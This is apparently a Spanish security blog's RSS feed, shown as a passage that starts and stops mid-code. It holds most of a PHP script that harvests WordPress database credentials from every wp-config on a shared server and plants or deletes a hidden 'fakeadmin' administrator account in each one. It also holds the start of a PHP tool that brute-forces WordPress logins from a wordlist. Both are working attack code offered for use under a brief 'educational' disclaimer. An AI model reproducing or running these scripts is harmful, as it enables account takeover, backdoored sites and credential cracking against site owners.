<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>URL: &quot;</span>.getURL<span class="br0">&#40;</span><span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;create_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>User/pass created: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;create&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;delete_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>fakeadmin deleted: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;delete&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> getURL<span class="br0">&#40;</span><span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$_q</span> = @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT option_value FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;options WHERE option_name=&#8217;siteurl&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> @<a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span><span class="re0">$_q</span>, <span class="nu0">0</span>, <span class="st0">&#8216;option_value&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> UserAdmin<span class="br0">&#40;</span><span class="re0">$action</span>, <span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;create&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wp_uid</span> = <a href="http://www.php.net/rand"><span class="kw3">rand</span></a><span class="br0">&#40;</span><span class="nu0">9990</span>,<span class="nu0">99999</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;fakeadmin&#8217;, md5(&#8216;dummie&#8217;), &#8216;wordpress&#8217;, &#8216;dummie@wordpress.cl&#8217;, &#8216;http://&#8217;, NOW(), &#8221;, 0, &#8216;wordpressdummieadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta (user_id, meta_key, meta_value) VALUES (&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;wp_capabilities&#8217;, &#8216;a:1:{s:13:<span class="es0">\&quot;</span>administrator<span class="es0">\&quot;</span>;b:1;}&#8217; )&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;delete&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta WHERE user_id=(SELECT id FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;fakeadmin/dummie&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables <strong>attack=create_user</strong> o <strong>attack=delete_user</strong>. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.</p>
<p>Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser <em>mortal</em>.</p>
<p>El código está disponible tambien en <a href="http://codes.zerial.org/php/wp-config_discover.phps">http://codes.zerial.org/php/wp-config_discover.phps</a></p>
<p><em>nota: queda de más decir que es para uso educativo y es una herramienta de auditoría <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/wp-config-discover/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/wp-config-discover/"  data-text="WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/wp-config-discover/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Web Login por fuerza bruta</title>
		<link>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/</link>
		<comments>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/#comments</comments>
		<pubDate>Sat, 04 Oct 2008 20:24:50 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/10/04/web-login-por-fuerza-bruta/</guid>
		<description><![CDATA[WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress no cuenta con un captcha por defecto ni tampoco con <em>login throttling</em>, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.</p>
<p>Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/ini_set"><span class="kw3">ini_set</span></a><span class="br0">&#40;</span><span class="st0">&quot;memory_limit&quot;</span>, <span class="st0">&quot;100M&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> crackSite<span class="br0">&#40;</span><span class="re0">$wordlist</span>, <span class="re0">$url</span>, <span class="re0">$user</span>, <span class="re0">$attemps</span> = <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$file</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$wordlist</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Read &quot;</span>.<a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span>.<span class="st0">&quot; words.n&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Can&#8217;t read word list file.n&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$i</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/rtrim"><span class="kw3">rtrim</span></a><span class="br0">&#40;</span><span class="re0">$fields_string</span>,<span class="st0">&#8216;&amp;amp;&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$file</span> <span class="kw1">as</span> <span class="re0">$word</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>++<span class="re0">$i</span>%<span class="nu0">10</span> == <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Attempts: &quot;</span>.<span class="re0">$i</span>.<span class="st0">&quot;/&quot;</span>.<a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span>.<span class="st0">&quot; (&quot;</span>.<a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$word</span><span class="br0">&#41;</span>.<span class="st0">&quot;)n&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$fields_string</span> = <span class="st0">&quot;log=&quot;</span>.<span class="re0">$user</span>.<span class="st0">&quot;&amp;amp;pwd=&quot;</span>.<a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$word</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> = curl_init<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_URL,<span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_POSTFIELDS,<span class="re0">$fields_string</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_RETURNTRANSFER, <span class="kw2">true</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$result</span> = <a href="http://www.php.net/md5"><span class="kw3">md5</span></a><span class="br0">&#40;</span> curl_exec<span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>!<span class="re0">$oresult</span><span class="br0">&#41;</span> <span class="re0">$oresult</span> = <span class="re0">$result</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$oresult</span> != <span class="re0">$result</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Password found: &quot;</span>.<span class="re0">$word</span>.<span class="st0">&quot;n&quot;</span>;</div>
</li>
<li class="li1">
